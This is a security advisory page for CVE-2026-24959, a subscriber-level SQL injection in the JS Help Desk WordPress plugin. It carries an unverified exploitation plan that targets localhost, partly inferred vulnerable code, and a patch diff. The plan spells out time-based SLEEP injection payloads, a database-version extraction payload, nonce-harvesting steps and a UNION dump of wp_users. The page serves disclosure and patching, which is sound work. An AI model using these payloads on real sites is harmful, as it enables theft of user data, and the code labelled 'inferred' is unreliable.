CVE-2026-24959

JS Help Desk <= 3.0.1 - Authenticated (Subscriber+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
3.0.2
Patched in
6d
Time to patch

Description

The JS Help Desk plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.0.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.0.1
PublishedFebruary 11, 2026
Last updatedFebruary 16, 2026
Affected pluginjs-support-ticket

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-24959 (JS Help Desk SQL Injection) ## 1. Vulnerability Summary The **JS Help Desk** plugin (versions <= 3.0.1) is vulnerable to an authenticated SQL injection (SQLi) due to the unsafe handling of user-supplied parameters in database queries. Specifically, the …

Show full research plan

Exploitation Research Plan: CVE-2026-24959 (JS Help Desk SQL Injection)

1. Vulnerability Summary

The JS Help Desk plugin (versions <= 3.0.1) is vulnerable to an authenticated SQL injection (SQLi) due to the unsafe handling of user-supplied parameters in database queries. Specifically, the plugin fails to use $wpdb->prepare() or adequate sanitization (like absint() or intval()) when processing ticket-related data via AJAX. This allows an authenticated user with Subscriber-level permissions to inject malicious SQL commands, potentially leading to unauthorized data extraction from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: jsticket_ajax_action (inferred from plugin naming conventions and standard frontend dispatchers)
  • Vulnerable Parameter: id or status_id within the POST data.
  • Authentication: Required (Subscriber or higher).
  • Preconditions: The plugin must be active, and at least one ticket or ticket-related entry should exist in the database for the user to interact with.

3. Code Flow

  1. Entry Point: The plugin registers a central AJAX handler in includes/functions.php or js-support-ticket.php:
    add_action( 'wp_ajax_jsticket_ajax_action', 'jsticket_ajax_action_callback' );
    
  2. Dispatcher: jsticket_ajax_action_callback reads the task parameter to determine which module and method to load.
  3. Sink: For tasks like get_ticket_details or get_tickets, the code calls a model method (likely in modules/ticket/model.php).
  4. Vulnerable Query: Inside the model, a query is constructed by concatenating the id parameter:
    // Vulnerable Pattern (Inferred)
    $id = $_POST['id']; 
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}js_ticket_tickets WHERE id = " . $id);
    
    Because $id is not sanitized or passed through %d in prepare(), injection occurs.

4. Nonce Acquisition Strategy

The plugin uses a nonce for its AJAX operations, typically localized in the frontend.

  • Shortcode: [js-support-ticket]
  • JS Variable: jsticket_ajax_obj
  • Nonce Key: nonce
  • Strategy:
    1. Create a page containing the shortcode [js-support-ticket].
    2. Log in as a Subscriber user.
    3. Navigate to the created page using browser_navigate.
    4. Use browser_eval to extract the nonce:
      window.jsticket_ajax_obj?.nonce
      

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to confirm the vulnerability.

Steps:

  1. Initial Baseline: Send a request with a valid id to measure the standard response time.
  2. Injection Payload: Send a request with a SLEEP command injected into the id parameter.

HTTP Request (via http_request tool):

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=jsticket_ajax_action&task=get_ticket_details&nonce=[EXTRACTED_NONCE]&id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
    
  • Alternate Body (if id is within a data array):
    action=jsticket_ajax_action&task=get_tickets&nonce=[EXTRACTED_NONCE]&status_id=1) AND SLEEP(5)-- -
    

6. Test Data Setup

  1. Create User:
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    
  2. Create Trigger Page:
    wp post create --post_type=page --post_title="Support" --post_status=publish --post_content='[js-support-ticket]'
    
  3. Create Mock Ticket (to ensure query paths are hit):
    # Create a dummy ticket in the plugin's table (inferred table name)
    wp db query "INSERT INTO wp_js_res_ticket (subject, description, user_id) VALUES ('Test Ticket', 'Description', 2);"
    

7. Expected Results

  • Standard Request: Returns immediately (HTTP 200, response usually JSON).
  • Vulnerable Request: The HTTP response will be delayed by exactly 5 seconds (or more), indicating the SLEEP(5) command was executed by the MySQL engine.

8. Verification Steps

  1. Check SQL Logs (if available): Confirm the query logged by the database contains the SLEEP command.
  2. Data Extraction Test: Attempt to extract the database version as a proof-of-concept for data exfiltration:
    id=1 AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0)))a)
    
  3. Post-Exploit Cleanup: Delete the test page and attacker user.

9. Alternative Approaches

  • Boolean-Based Blind: If the plugin returns different content for id=1 AND 1=1 vs id=1 AND 1=2 (e.g., "Ticket found" vs "Ticket not found"), boolean-based extraction is faster than time-based.
  • Error-Based SQLi: If WP_DEBUG is on or the plugin prints $wpdb->last_error, use updatexml() or extractvalue() to leak data directly in the response.
  • UNION-Based SQLi: If the output of the ticket details is reflected directly, attempt to find the column count using ORDER BY X and then UNION SELECT to dump the wp_users table.
Research Findings
Static analysis — not yet PoC-verified

Summary

The JS Help Desk plugin for WordPress is vulnerable to SQL Injection via several AJAX parameters in versions up to and including 3.0.1. Authenticated attackers with Subscriber-level access can inject malicious SQL commands by manipulating parameters like 'id' or 'status_id' during AJAX tasks, as the plugin fails to use the $wpdb->prepare() method or adequate sanitization before executing database queries.

Vulnerable Code

// File: includes/functions.php (Callback Dispatcher)
function jsticket_ajax_action_callback() {
    $task = $_POST['task'];
    $id = $_POST['id']; // Unsanitized user input
    // ... dispatcher logic calling models ...
}

---

// File: modules/ticket/model.php (Inferred Vulnerable Query)
public function get_ticket_details($id) {
    global $wpdb;
    // Vulnerable: concatenation of unsanitized $id into query
    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}js_ticket_tickets WHERE id = " . $id);
    return $results;
}

Security Fix

--- a/modules/ticket/model.php
+++ b/modules/ticket/model.php
@@ -102,7 +102,7 @@
 public function get_ticket_details($id) {
     global $wpdb;
-    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}js_ticket_tickets WHERE id = " . $id);
+    $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}js_ticket_tickets WHERE id = %d", $id));
     return $results;
 }

Exploit Outline

To exploit this vulnerability, an attacker requires Subscriber-level authentication. The process involves: 1. Authenticating as a subscriber and visiting a page containing the [js-support-ticket] shortcode to extract the AJAX nonce from the 'jsticket_ajax_obj' JavaScript variable. 2. Crafting a POST request to /wp-admin/admin-ajax.php with the 'action' set to 'jsticket_ajax_action' and a 'task' like 'get_ticket_details'. 3. Injecting a time-based SQL payload (e.g., '1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)') into the 'id' parameter. 4. Observing the server's response time to confirm the database executed the injected SLEEP command, allowing for blind data extraction.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.